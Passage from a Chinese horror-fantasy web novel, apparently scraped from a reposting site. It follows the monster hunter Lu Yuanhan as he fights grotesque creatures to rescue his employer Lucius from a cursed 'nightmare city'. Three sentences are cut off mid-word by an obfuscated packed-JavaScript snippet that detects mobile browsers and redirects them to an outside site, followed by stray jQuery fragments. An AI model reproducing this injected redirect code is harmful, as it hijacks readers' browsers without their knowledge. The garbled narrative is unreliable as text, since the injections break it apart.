两人经过走廊,透过打开的玻璃窗,又看到了那具香气缭绕的棺材。 路远寒仔细观察,却怎么也没能观察到尸身的异样。莉莉安睡在幽深而黑暗的棺椁内部,周身遍是仆人刚插上去的白玉兰,为了保持新鲜,那些花每日一换,唯独她口中衔着的紫罗兰一直盛开,就像这具不腐的尸体。 不过片刻,就到了路远寒的房间。走廊里的烛火一盏一盏亮着,然而那黑暗仍然跟在他们身后,卢修这才后知后觉地感到了一点恐惧。 他松开攥着路远寒袖子的手,咽了咽口水:“你先…休息吧,要是我那边有什么情况,你得随叫随到,保持警惕。” 路远寒应下他的话,回到了房间里。他看了一眼墙上的挂钟,离入睡的时间还早,索性从床头柜上拿了一本图册,翻看着打发时间。 这图册似乎是给孩子们看的,书页上用细腻的笔触绘制着童话故事:一个小女孩出门采蘑菇,却发现自己在森林里迷路了,她在黑暗笼罩的小路上不断奔跑,跑呀跑、跑呀跑…… 直到一座巨大的帐篷出现在女孩面前。她走进帐篷,在梦幻的演出中,看到了有着两颗头的孪生子、人身羊蹄的少女、被蓝色皮肤覆盖的怪物。他们脸上的神情是如此喜悦,就像沐浴在天国的圣光之下,为了观众的掌声而献上自己的一切。 在这场畸形秀中,每一个人都虔诚地祷告着:请你欢笑吧!请你欢笑吧…… 故事的最后,女孩留在了那座充满欢笑的马戏团里,成为了一个永远不会悲伤的演员。 路远寒合上图册,心想罗德里厄府的幼教还真是别具一格,将这个怪诞的故事抛在了脑后。或许是因为没有睡够就被叫起来工作,他渐渐闭上眼睛,做了个如同置身现实的梦。 梦里他站在无尽的走廊中,一直望着那具棺材。 他不由自主地朝着棺材走去,一步一步,直到能清楚无遗地看到莉莉安脸上的小痣。路远寒怔在了原地,因为尸身的美丽而惊叹,因为尸身的神秘而愤怒。他俯身揭下了那朵盛放的紫罗兰,就在一瞬间,无数扑闪着翅膀的蝴蝶、蛾子从尸体的口腔中飞出,仿佛破蛹而出。 在她舌根之下,正有密密麻麻的虫子在蠕动着。 27. 等待进入网审 这个噩梦相当真实,路远寒甚至能闻到棺材边缘淡淡的木质香,以及那些花瓣散发出的味道。莉莉安没有睁开眼睛,仍然是一个死人,她的手指之所以会颤动,只是因为那些蠕虫如潮水一般在她体内涌动,将这具尸身撑得丰盈。 路远寒退后一步,尸身却朝他缓缓抬起了手。 那只手臂皮肤白皙,线条柔美,此刻却浮出无数绷起的青筋,每一条血管内都有隆起的肉块向指尖涌来,那些小虫张开嘴咬破指肚,从渗血的窟窿内探出头部。 这些虫潮一瞬间就将莉莉安的尸身蛀空,在那光滑的肌肤下咬出成千上万个黑黢黢的小洞,露出美丽表面下血肉模糊的内里。 莉莉安的模样看起来太过瘆人,路远寒眉头紧皱,忽然有一条小虫掉在他的靴子上,张口就要咬上靴头。他抬脚碾死了虫子,却感觉像是踩在某人温软的腹腔上,爆裂的肠子内脏流了一地,黏糊糊地沾在他的鞋底。 路远寒猛然惊醒过来,发现自己仍然靠在床上,冷汗将他脖颈下的发尾浸湿。 那本图册不知何时又被掀开了几页,画面中一张又一张畸态的脸正面带微笑地望着他,这本书、这张床……就连这个房间都像是活着,正在黑暗中窥伺着他,等待着一个能将他吞噬进胃里的机会。 他看了一眼挂钟,意识到已经是深夜了。尽管卢修没有敲门,但路远寒还是打算到隔壁看一下情况,要是对方已经来过了,他却没有听到,那事情就糟糕了。 路远寒走出房间,或许是太晚了,那些伺候着主人们的仆从也睡下了,寂寥的走廊上空无一人,显得异常幽深。 他背着镰刀,敲了两下卢修的房门。 没有人应答。 路远寒面色沉了下去,又加重力道敲了几下,一边敲一边喊着卢修的名字,仍然没有得到任何回应。他靠在门板上仔细倾听,那扇门背后什么动静都没有,仿佛通往的不是卧室,而是不可知的深渊。 路远寒用手一碰袖钉,海蓝色的宝石盈盈亮了起来,灵性提醒着他卢修就在这个房间里。 好吧……路远寒看了一眼门锁,毫不犹豫地用刀柄重重砸下去撞开锁头,心想这笔损失应该公费报销,不能记在他头上。 他推门而入,里面赫然是一间装潢华美的卧室,只不过灯虽然亮着,却没有看到卢修其人。路远寒往前走了几步,发现卢修的胸针正静静躺在地上,似乎昭示着主人遭遇了不幸。 他捡起胸针,用指节拨弄两下,发现针尖沾上了一点血迹。只是分量太少,而且已经干涸,因此无法判断是人类还是怪物的血液。 卢修会去哪里呢?路远寒思忖着。他打开窗户,窗外是一处极为陡峭的崖坡,坡面因雨水冲刷而格外湿滑,要是从这里跳下去,必然会摔断胳膊或腿,因此丧失行动能力。 他点亮了房间里的提灯,拿起来向着底下照去。坡下现在没有人,坡面上也没有血迹,卢修想必没有从这里出去。 除了窗户,路远寒又检查了一遍床底,同样没能发现卢修的踪迹。他打量着房间里布置的家具,视线落在了靠着墙的衣橱上,两扇精美的柜门虚掩着,随着路远寒走近而发出一阵让人毛骨悚然的声响。 “咚咚……” 似乎有什么东西在拍打着橱柜。 路远寒保持着警惕,左手已经摸上了锯肉刀的把柄。他伸手将柜门拉开,橱柜里没有衣架,也没有衣服,只有一个漆黑的洞口,不时有阴冷刺骨的寒风从洞口刮出,吹拂着他手背上的汗毛。 看来卢修就是通过这个洞口去到了什么地方,路远寒没想到自己一语成谶,现在真要寻找雇主的下落。他蹲下来打量着洞口,由于洞口较为矮小,他不得不尽量弯着腰才能钻进去。 这个洞口就像之前的门,连接着罗德里厄府与另一处神秘的地界,路远寒从洞口出来,因眼前看到的景象而怔住了。 这地方远比罗德里厄府要广阔得多,从洞口往外是一片地势嶙峋起伏的区域,盘曲错杂的道路上荒草丛生,遍地石砾,往远看还有许多座风沙侵蚀的洞窟,凹陷处水光粼粼,像是一座废弃的采石场。 最让人感到震惊的是,天幕阴沉地下压,让地面看起来极为昏暗,但仍然有光从浓密的云层中倾泻而出,让路远寒无需提灯,也能看得清眼前的一切。 这里是地上?路远寒猛然一惊,还是说他又穿越空间,来到了某位神祇的领地…… 无论是哪一种,显然都超出了物理的范畴。路远寒冷静下来,又从洞口钻到了卢修的房间。 在那种陌生地带,要是不做准备就贸然找人,很容易迷失方向。罗德里厄府上正在停灵期,还有几桶刷棺木的油漆,他提了一桶就匆匆赶回洞口,毕竟拖得越久,卢修越可能出事。 路远寒一边往前探索,一边在地上洒着深黑色的油漆,即使油漆被什么东西蹭掉,散发出的刺鼻气味也能作为指引。 走在这片乱石区,需要无时无刻注意脚下,一不小心就有可能滑下去,要是脑袋磕在石头上,想必会脑浆迸飞,当场就死在那里。 路远寒循着小径往高处走,想用高处的视野找一找卢修的下落,忽然,他停下脚步,留意到了不远处徘徊着的怪物。 对于那诡异存在,说它是怪物都不足以准确的描述。 它身影瘦长,就像是一个窈窕的少女,脊椎往上顶着硕大无比的脑部,鲜红皮层下的沟壑裸露在空气中,在肠肉般的褶皱间张开许多眼膜,黏膜下的瞳孔缓缓朝着不同方向转动。而在大脑底部,则垂下无数条淌着黑水的钩足,若不是那锋利的足尖,它们看起来与触手无异。 在看清怪物的一瞬间,路远寒就感到阵阵晕眩,他脑海里似乎有无数声音在嘶吼、呓语,连身体内的触手也变得狂乱躁动,逐渐脱离了他的控制。 他当即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128489|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下油漆桶,从武器袋里拔出一支镇静剂,猛地扎在大腿上,将药物注射进去,让自己恢复了理智。 那怪物的身形正微微起伏,似乎随时会转过身来。路远寒并不打算给对方发现自己的机会,他双手持着镰刀,悄无声息地从背后一步步走近。直到与怪物的距离不足一米,他猛然挥动手臂,锋利的刃面勾住那截纤细的脊椎,骨头在狠重的碾轧下应声而断,外置的大脑也因此被掀飞出去。 只见那些钩足狰狞地在空中摆动着,如同水母的触须,只是什么也没有抓住,就落到崖坡下,重重地摔成了一滩肉糜。 解决了这个敌人,路远寒才算是松下一口气,调整着呼吸,药物残存的效果让他有些精神萎靡。 他的心情更沉重了。他作为猎魔人,尚且有些招架不住怪物带来的狂暴影响,要是遍地都是这样的怪物,那卢修还活着的可能性就很小了。 但他现在还没有拿到报酬,只能祈祷雇主运气好一点,说不定就在哪里躲着,还没有死。路远寒提起油漆桶,顺着脚下的小径上了高处的平地。他发现周围尽是一片荒僻的废墟,刚开始看到的那些水光,也只是幽深的沼泽,在满天乱石飞沙中,有不少怪物在游荡着、徘徊着,看起来饥肠辘辘。 自从身体被改造过之后,路远寒的视觉也敏锐了不少,他的指尖下延伸出无数条触须,向各处探查着,其中就有一条捕捉到了地面上的鞋,似乎正是卢修的。 再顺着那条小路往远处看,在十数里以外,有一座下陷的荒城,城中断壁残垣,鹰隼盘旋,从废弃的建筑中隐隐透出死气,整座城池就像是笼罩在噩梦之下。 难道卢修是被什么东西抓走了?路远寒揣测着。 事已至此,他只能尽量搜集线索,寻找卢修。万一对方真的死在这里,他也得把尸体带回去,要是伯爵的妹妹怪罪下来,奥斯温·乔治这个身份也就不用活了。 路远寒又看了一眼远处的城池,迅速在脑海中规划起最快的路线。由于地势盘错起伏,很难从这里走直线过去,即使是最近的一条路,也要经过那片充满雾瘴的沼泽地。 他低头望着这一身名贵的服饰,心想倒不如穿猎魔人制服方便快捷。 桶里的油漆已经所剩不多,等到路远寒越过重重石壁,来到沼泽地前就用完了。不过接下来这片区域的构造他已经熟记在心,闭着眼睛也能走过去,也就不需要在地上做标记了。 路远寒屏住呼吸,打量着蛰伏在泥潭里的怪物。 这座沼泽远不如它表面上看起来那么平静,在幽光粼粼的水面下,不时有细长的黑影游动过去。除了泥淖里的蠓虫、水螅等寄生种类,还有许多体型偏长的软体动物。 它们表面光滑,附着了一层透明的乳白胶质,从身体两侧伸出数条布满吸盘的腕足,像是生活在沼泽地带的鱿鱼,头上的腮部不断震颤着,为它们提供呼吸所需的氧气。 28. 等待进入网审 对于这种潜伏在水中的敌人,用镰刀应付的话太过沉重,机动性不高,因此路远寒又换上了最熟悉的锯肉刀。 随着他走进沼泽,那些怪物也察觉到了水面荡起的涟漪。它们那细长无眼的头部纷纷朝着路远寒转来,一边在泥潭中摆荡触手,缓慢拖行,一边裂开充满利齿的嘴巴,喷射出一股又一股冒着白烟的黏液。 路远寒迅速跳上一块石头,黏液溅在他脚下,在石面上烧出焦黑痕迹,似乎具有极强的腐蚀性。 他一点都不想被这东西溅上,要是不幸中招,估计这身衣服就不能要了。 怪物们朝着路远寒所在的石头游了过来,离得越近,他越能看清楚这种生物的构造:它们头上有嘴,脊椎上突起一处处黢黑的尖刺,尾部则由多条蛞蝓般的软体缠绕而成,腹下裂开一道缝隙,那道鲜红的肉隙贯穿体表,如同血盆大口,露出表皮下鼓动腐烂的组织。 比起其他畸变物,这种黏滑的怪物更让人感到生理性的反胃。 路远寒并不打算拖下去,他一跃而起,钢刀下旋绞进怪物的头部,将陷进利刃下的肉足锯断,挥舞的触腕落进水中,溅起腥臭的泥水。 断了头的怪物还要张开腹下的大嘴,路远寒却已经踩在了它的背上。在滑漉漉的表面上不好站稳,于是他速战速决,握着锯肉刀在怪物脊椎旁划开一道幽深的伤口,皮下裹着的内脏几经翻搅,已经糜烂得不像样,在刀身上刻下狰狞的血痕。 对于大多数畸变物而言,它们生而无脑,头并不是维持生命最重要的部位,而内脏才是。一旦捣烂腹腔里的器官,怪物们也将变得不堪一击。 到目前为止,路远寒处理过不少畸变物,已然有了经验。 他身手敏捷,又一跳一个准,接连处理了几只张牙舞爪的怪物后,终于无路可走。路远寒打量着周围的环境,伸出的触手勾缠着石柱,将他一把拽到了泥潭里寥寥无几的突起物上。任那些爬行者在下面唾液横飞,也全然伤害不到他本人。 路远寒低头一看,他的靴子上已经攀附了几只水蛭,肥硕的身体静静趴在他小腿上,随着他一跺脚,簌簌落在地上,迅速向着四周爬去。 这沼泽并不好通过,路远寒淌了一身泥水,也才刚到三分之一的地方,潜伏在水面下的怪物们露出幽幽的眼睛,眼中充满了渴望血肉的兽性,正等待着他从高处坠落。 他想了一想,半边手掌都化成强健有力的触腕,卷着那把巨大的镰刀飞旋而出,迅速插在了十数米外的石梁子上。 借着这根深扎下去的锚,路远寒纵身荡了下去,在靴底即将拍上水面的一刹那拧转身体,将闻声冒头的怪物硬生生又踩进泥水里。 随着触手回缩,他也飞身攀上了石梁。 除了极少数洞窟般不得不弯腰下行的区域,路远寒必须耐心一个一个扫清怪物,燕尾服也被泥水浸透,其余地带他走熟了都健步如飞,比预想中更快地到了沼泽对面。 接下来的路就好走多了,虽说怪石嶙峋,地势不平,但只要避着那些脑肉外置的怪物,基本上没有危险。 前后大概走了有两个小时,路远寒终于看到了那座荒城的门扉。 城门楼子上悬着一块蒙灰的牌匾,上面的文字是由古老的语言铸就,写得相当晦涩,就像是满地乱爬的蜘蛛腿。所幸他接掌了不少权柄,现在灵视很高,因此能看懂牌匾上雕刻着的那三个字:噩梦城。 仅看这个名字,就透露出一种阴恻恻的气息。 路远寒抖掉衣摆处已经干涸的泥块,朝着门洞内走去。那些在高处盘旋的鹰隼越飞越近,爪上还遗留着腐尸上的血肉,被他一声狠厉的吼叫驱散了。 噩梦城中的建筑大多已经坍塌或废弃,即使是完整一些的楼房,里面似乎也鬼影幢幢。看街道上没有蒸汽灯,路远寒判断,这座城应该是历史遗留之物。正如他的猜想,城内同样有着怪物,一个又一个面部生有触须的幽影在废墟徘徊,它们时而隐匿,时而浮现,极有可能转眼就出现在身边。 要对付这种灵体类的生物,用附魔镰刀最为合适。 就在路远寒换刀之际,几个幽影已经紧贴在了他身前。他们脸上神情莫辨,眼睛乌黑无神,像是人身上的脑袋被湿漉漉的章鱼抱着,才成了这副诡异的模样。 他手上动作极快,一刀下去就见了血。 那些深蓝色的血液倾洒在刀身上,竟然烧了起来,随着滋滋作响的怪状,镰刀表面浮现出淡淡的光晕,仿佛被激活了除魔的效果。 这座城镇就像是鬼影的巢穴,杀了一个,还有无数个在路上飘荡。要是这样杀下去,卢修就真的可以等死了,路远寒打量着阴云下震颤的荒城,忽然有了主意。他一路穿越,死在刀下的怪物数不胜数,直到他披着一身幽蓝的血衣,才登上了那座废弃的钟楼。 置身城中最高的地方,路远寒不禁感到身上发冷,似乎有一股股阴风在脚下盘绕。 站得越高,越能看清这座城中神秘险峻的地貌,飞沙走石,幽影横生,眼前所见的一切,确实像是魔鬼产出的噩梦。 魔窟里无人生还,钟楼自然也就被弃置了。路远寒握紧手杖,一步步朝着钟楼内走去,现在他来当这个敲钟人。 在手杖的力道之下,机械装置重新运转起来,大钟重重鸣响,一路悠扬地传出数里,震得地上尘土飞扬。路远寒收起手杖,在高处喊着卢修的名字,他在视野中四处搜寻,没有看到卢修,倒看见从地下走出一个拖着布袋的怪物。 那袋子被拖得一颤一颤,不知道装了什么,从轮廓来看,就像是弯折着四肢的人。 他眼神一凛,由触手攀着塔尖作为安全带,竟是从数十米的高空擦着墙壁飞身而下,靴底摩擦出的火花四溅,不过片刻,就安稳落在了地上。路远寒视线环顾一周,迅速锁定了那怪物。 拖着布袋的怪物身材高大,灰黑流脓的皮肤掩盖在风衣之下,就像浑浑噩噩的僵尸,一双腐臭的大手拧着袋口,显得极具压迫感。 路远寒持着开刃的锯肉刀,悄无声息地绕到了怪物身后。 刀身从他手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139095|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑出,割破了不怎么结实的布袋,从里面露出一顶散乱的金发,发丝下那人双眼紧闭,嘴唇不见丝毫血色,正是他的雇主。 确认了对方的身份,路远寒动作迅速,从地上扛起人就跑,转瞬已经闪出了十米开外。在这种危急情况下,真要和怪物厮杀起来,他未必能保得住卢修的人身性命。 直到远离了怪物聚集的区域,他才放下雇主,叫醒了昏厥中的卢修。 卢修像是陷进了噩梦之中,看起来面色疲惫,精神萎靡,口中不停地喃喃着什么,连手指都在打颤,一睁眼看到那张熟悉的脸,竟脱口而出:“这里……这里是无神之地,和罗德里厄府一样,是受诅咒的地方。” 他的声音中充满了恐惧。 无神之地?路远寒不知道他看见了什么,但从罗德里厄一族上百年诅咒缠身的命运来看,确实不像有神祇眷顾着他们。 随着远处传来隆隆的响声,路远寒面色一变。既然钟声能吸引在地下徘徊的怪物,自然也会引起其他东西的注意。 他将卢修往身后一按,只见盘踞在高处的怪物从顶上向着两人爬来,随着那庞大身躯的扭动,在地面上覆盖出一片阴影浓重的区域。祂的身体像节肢动物,有十数米高,脑袋却长得异常恶心,鼓鼓囊囊相当臃肿,如同许多个盘缠在一起的肉囊肿块,从缝隙间还伸出无数坚硬的鬃毛。 “啊——” 卢修在他身后惨叫一声,攥紧了路远寒的袖子。他在府上养尊处优,哪里见过这样的场面,就是聘请保镖,也没想过自己会有直面畸变物的机会。 此刻,就是一千一万个莉莉安从棺椁中幽幽还魂,也比不上面前这体量巨大的怪物。 路远寒甩开他作祟的手,让卢修上旁边躲着,浑身肌肉紧绷,就如一具上弦的兵器,俨然做好了战斗的准备。 他观察着逐渐靠近的怪物,一切生物都有弱点,畸变物也不能例外。 这怪物肢节上附着浓密的长毛,必然有着弱火的特点,但他身上并没有携带可以燃烧的东西。路远寒将视线放远,看到了一个油桶,只是怪物离油桶还有段距离,因此需要把控好时机。 在那神话般的生物面前,路远寒显得格外渺小,就如一只举起前足的蝼蚁。 随着祂硕大无比的头缓慢垂下,他眼前浮现出一条条神秘诡怪的纹路,蠕动着向他扑来。路远寒毫不犹豫地侧身闪开,一跃而起,用沉重的杖头狠戾地砸着那浮囊的肉结。 怪物的行动似乎因他的攻势而有所凝滞,路远寒眼前发黑,口中也溢出一缕鲜血,腥咸的味道让他体内食欲翻涌,他猛然跪倒在地,不受控制地开始颤抖。 在阵阵晕眩下,他扣动扳机,一枪打爆了怪物脚下的油桶,炸裂的火星在一瞬间燃烧起来,顺着浮动的毛发蹿上那庞大的躯体。路远寒用手杖撑着地面,他听到怪物在惨叫,那些肢节挥舞得极不规律,带着耀眼的烈火,恍惚之间,就像是一场盛大的篝火晚会。 他眯起眼睛,从淌下血水的眼眶中欣赏着这完美的杰作。 29. 真理 那怪物浑身鬃毛,烧起来像是一团巨大的火球,对于深居在黑暗中的霍普斯人,简直比传闻中的太阳还要耀眼夺目,在高温下将皮肤炙烤得都仿佛要融化一样,不时便有带着火的焦肉坠向地面。 路远寒就地一滚,将卢修捞着往旁边躲去。 他提着的人却毫无动静,刚才直面了神秘存在,卢修早就昏死过去了,自然也不知道保镖脸上现在是一副多恐怖的尊容。 路远寒伸手一摸,将两颊淌下的血水擦去。雇主不省人事,倒方便了他接下来的行动。 从他胳膊上伸出的触手在一瞬间涨大了数十倍,勾缠着怪物的腿骨攀附而上,那瘦长的肢节被烧得隐隐发黑,在触手的扯动下裂开数道细小的骨缝。随着一根腿骨轰然砸下,惨叫哀嚎的怪物终于滚落在地。 只不过祂的身体太过庞大,倾倒在风沙侵蚀的建筑上,顿时压塌了一大片地带。 对于这根断骨,路远寒一时没想好怎么处置。 触须虽然食欲旺盛,见到带有神性的血肉就想吞噬,但也没锋利到能生嚼钢筋。这根骨头上还带着一截具有韧性的筋肉,被前端触手不着痕迹地舔了一口,就像是食髓知味,忍不住又想张开大嘴。 路远寒眉头一皱,让触手们安分了下来。 他在战斗时不得不注视着那充满肉囊的脑袋,因此口鼻溢血,眼前不断浮出幻觉。但触手碰了祂的血肉,却不见有反噬,可见怪物的位格并不是太高,这里倒真如卢修所说,是无神之地。 对于快要断气的怪物,路远寒并没有手下留情。 他握着刀走向那颗垂死的头颅,将整条手臂探进血肉模糊的脑膜下,用刀身割下盘缠的肉团,让怪物的头部彻底溶解成一地血水,才放出触手,让它们肆无忌惮地进食。 吞噬的血肉越多,路远寒越有一种微妙的错位感,他的身体已经被打造成了彻头彻尾的怪物,而精神上却还保留着人的认知,难免会感到毛骨悚然。 他身体里能容纳的触手毕竟有限,将怪物脑部的畸变血肉一扫而空,就重新回到了路远寒手上。他低头望着正在轻颤的指尖,随着一阵强烈的饱腹感升起,他的自愈能力似乎也得到了提高。 他甚至能预感到,以后断了头也不会死。路远寒不禁思考着,这到底是一件好事还是坏事…… 就在这时,狂风呼啸着扫在他脚下,天空中电闪雷鸣,忽然乌云罩顶,从那聚拢的云层之中浮现出一个又一个漩涡。路远寒抬头望着阴沉沉的天幕,莫名觉得那些东西很眼熟,它们盘旋着撕裂空间的模样,越看越像是墓道里杀人无数的黑洞。 他面色一变,难道这就是巫医召唤出的那个黑洞?原来那时的裂口竟通往这里,该不会是噩梦城的诅咒泄漏,才进一步影响到了罗德里厄府吧。 要真是这样的话,那他们一家确实是倒霉至极。 路远寒并不知道黑洞的朝向,无法判断它们会不会将城中的事物卷走,他拎着卢修躲进了一旁的地下室,冷静地环顾四周,提防着黑暗中存在的危险。好在拖着布袋的怪物并没有回到此处,让他们目前的处境安全了一些。 在黑暗之中,仿佛一切都变得幽邃晦涩。 他拿出一块被油水浸透的怪物毛发,放在地上,靠着本能向那片鬃毛开枪,弹壳擦出的火星点燃了膏油,火光浮动,照亮了路远寒神情莫辨的一张脸。 路远寒看着卢修无比惨淡的面色,心想要是扇他一巴掌,这大少爷醒来必然会扣完他的工资,还是使用更和缓的方式比较好。他试着掐了一下卢修的人中,毫无反应,又用镰刀缓慢划过地面,那尖锐刺耳的声音让卢修眉头紧皱,竟然真的睁开了眼睛。 他的声音听起来干涩又颤抖:“那个怪物呢?” “死了。” 轻飘飘的声音让卢修一颗悬着的心落了回去。他的大脑迟钝地转了片刻,才反应过来现在安全了,劫后余生的泪水从卢修眼眶中溢出,他用袖口擦了擦眼睛,也顾不上什么尊贵不尊贵、优雅不优雅的事了。 然而听路远寒说完外面的情况,他的心情一下又变得沉重了。 据卢修所说,他们必须返回罗德里厄府,封上衣柜里的窟窿,否则还会有怪物从这片魔窟过去的。他当时正准备换上睡衣,只是一开柜门,就被怪物的大手抓了进去,之后一直在昏睡中做着噩梦,直到被路远寒解救下来,才恢复了理智。 卢修忐忑地望着自己的保镖,忽然一阵声响从背后传来,吓得他汗毛直立,指着那黑暗中的东西,示意路远寒去查看情况。 路远寒往里走了几步,发现那是个宽厚相近的水缸,玻璃缸中幽光粼粼,盛着一块飘浮的大脑,脑下条条触须被静水浸泡得舒展开来,脑回处的褶皱仍在震颤,证明着它是一个活物。 他不由感到匪夷所思,噩梦城看上去荒废已久,这缸里的水竟然还没有干涸,实在是诡异至极。 卢修跟在他身后,也看到了缸中之脑。有了前面的刺激,他现在直面恐怖的东西已不会晕倒,却仍是侧过了头,不想再多看那秽物一眼。 路远寒顾不上管他,正观察着水缸旁边的一块牌子,上面用密语写着它的名讳:真理之脑,并说用手触碰箱壁,可以向神秘之处寻求答案。 片刻之后,路远寒将掌心抵在冰冷的玻璃壁上,随着那些触须向他指尖飘来,他脑海里响起一个声音,那声音幽深无名,听不出性别、年龄或是延续于世的时间。他转头望向卢修,发现对方似乎并没有听到真理之脑在说话。 路远寒问:“你是谁?” 那声音诡异地大笑着:“我是真理,是万物之一,是永不湮灭的答案。” 这跟没说有什么区别,路远寒刚要腹诽,想起对方正在和他通过意识交流,恐怕能察觉到他在想什么,又按下多余的想法,难得表现出了一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145598|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐心:“你能为我提供什么?” 它说:“你所祈求的,必将降临于你。” 这是打哑迷?路远寒一怔,但他不信神祇,也从未祈祷过什么。一开始或许还想过能回归原来的世界,但随着他成了邪祟,这个想法很快就打消了。更何况两个世界间的屏障,应该并不是好跨越的。 然而这个念头一旦升起,就在他内心扎下了怀疑的根髓。 “我就是你,你就是我,抛开这副无用的肉囊,当黑暗从大地之上苏醒,一切又将回归原初……” 那声音还在高声传颂着真理,路远寒却不想听下去了。 随着他撤开手掌,那脑子又呈现出一副萎靡的模样,卢修不知何时已转过了头,看得毛骨悚然,靠近路远寒悄声说:“还是离这怪物远一点吧……” 就着快要烧完的火光,路远寒发现卢修脸上开始浮现出一些水疱般的隆块,密密麻麻的,看上去颇为瘆人,他似乎正在被这座荒城影响着。想来也是,在这备受诅咒的地方,要是没有极高的位格,终究会被噩梦同化成一道幽影。 不能再拖下去了,路远寒想。 他发现自己接下的委托都万分凶险,其中的危险远超过了应得的酬劳,一个不慎就是尸骨无存。然而事已至此,他也只能带着卢修离开,所幸外面还没有被黑洞吞噬,悬在他们头顶的死亡威胁似乎解除了。 路远寒忽然停下了,他绕后两步,从卢修背后幽幽伸出反握的刀柄,将他一击弄晕了过去。 卢修还什么都不知道,就倏然两眼发黑倒了下去,路远寒蒙上他的眼睛,用触手勾缠着将人背在身后,这才放开速度,向着城门飞掠而去。 有时候,一个死人比活人更能保守秘密,昏迷也是同样的道理。 背着这么个身份尊贵的累赘,在平地上倒还好说,但要淌过那座沼泽,却耗费了路远寒极大的精力。每一次水下的怪物喷出毒液,他都要尽量扭动身体,避免卢修的脸因此毁容,再拿他这个猎魔人泄气。 再碰到那些游荡的脑怪时,他脚下一顿,在直接作用于精神的影响下面露痛苦,险些狂暴地撕开卢修的身体。 好在他镇静剂带得虽然不多,却还留了两支,路远寒将腿侧猛然扎出一个又一个渗血的针眼,肩膀颤动几下,缓慢调整呼吸,终于控制着自己的身体恢复了平静。 职责所需,他会尽力护着雇主,对待畸变物却不会手下留情。强烈的报复欲涌上心头,瞬间侵占了他脑海中所有想法,让路远寒跟着潜意识拔刀、厮杀,在鲜血淋漓中重重呼吸。 一时间血肉横飞,等他回过神时,这双手中已经盛满了尸体的碎肉。 已经没有镇静剂可用了,路远寒也只能极力压制着肆虐的凶性,背着卢修匆匆回到洞口,将对方送回了罗德里厄府中。片刻后,他又折身用手杖砸下一块厚重的岩石,彻底封堵住了这个通往噩梦边境的洞口。 30. 分食 卢修正躺在他的床上,四散的金发靠着柔软的枕头,右手垂在床榻一侧,罗德里厄不开口时显得安静又美丽,就如一具死去的尸体,唯有微微起伏的胸膛说明他还活着。 而在他的床头,站着一个颀长的黑影。 路远寒的视线落在卢修面上,打量着这张过于英俊的脸,他在噩梦城浮现的隆块似乎消退了些,剩下一些淡淡的痕迹,只是不知道还有没有其他后遗症。 至于衣柜里的洞口,不是靠物理手段就能解决的,恐怕还需要找神秘学专家封上。 不过等到葬礼结束,罗德里厄一族也就跟他没关系了,他们要怎样解除诅咒,路远寒并不关心。他将卢修从昏睡中叫醒,大少爷还一脸茫然,显然没有意识到是保镖动的手,看到房间里熟悉的装潢,终于松下了一口气。 “谢谢你,保镖先生……要是没有你的话,我真的就要死在那个鬼地方了。” 卢修声音发颤,胸口剧烈起伏着,似乎还没有从噩梦城的阴霾中完全走出来。 路远寒盯着他在灯光下照出阴影的睫毛,忽然察觉到一丝不对劲。按照他的体感,从发现卢修失踪到回归罗德里厄府,至少也过去了将近一天,更何况他将门锁暴力破坏了,府中的少主人消失不见,竟然没有一个人前来寻找。 他的语气很微妙:“别急着谢我,你们家……贵府上恐怕出什么事了。” 随着他用手一指幽幽敞开的房门,卢修望过去,也意识到了那些仆从竟然没有因为渎职跪在他面前谢罪,更没有人来伺候少爷的起居,实在是诡异至极。放在以前,这些下人都是要被拖出去打得血肉模糊的。 除非他们想死了,又或者不怕罗德里厄的威严了,但这怎么可能? 卢修眉头紧皱,面上已隐隐浮现出怒气,他不敢对保镖大呼小叫,但处置一两个仆人还是没问题的。他换了身干净整洁的衣服,又让路远寒也去把衣服换了,很快,他就看到了一身熟悉的猎魔人制服与面具。 跟在路远寒身后,卢修忽然理解了伯爵府豢养缉察队的原因。有一群实力强盛的鹰犬作为保镖,无论走到哪里,确实都会更有安全感。 在出门前,路远寒又看了一眼挂钟。已经是第三天了,罗德里厄府的停灵期马上就要结束,雇佣也将告一段落。 走廊里的烛光仍然亮着,如同一簇一簇火花在黑暗中盛开,点缀着阴鸷而寥落的城堡。只是放眼望去,竟然看不到任何人影,只有一股浓重的血腥味扑面而来,在空气中弥散着,钻进两人的鼻腔。 路远寒已握紧了刀,缓慢转过一处拐角,也就看到了那些被各种酷刑处死的仆人。 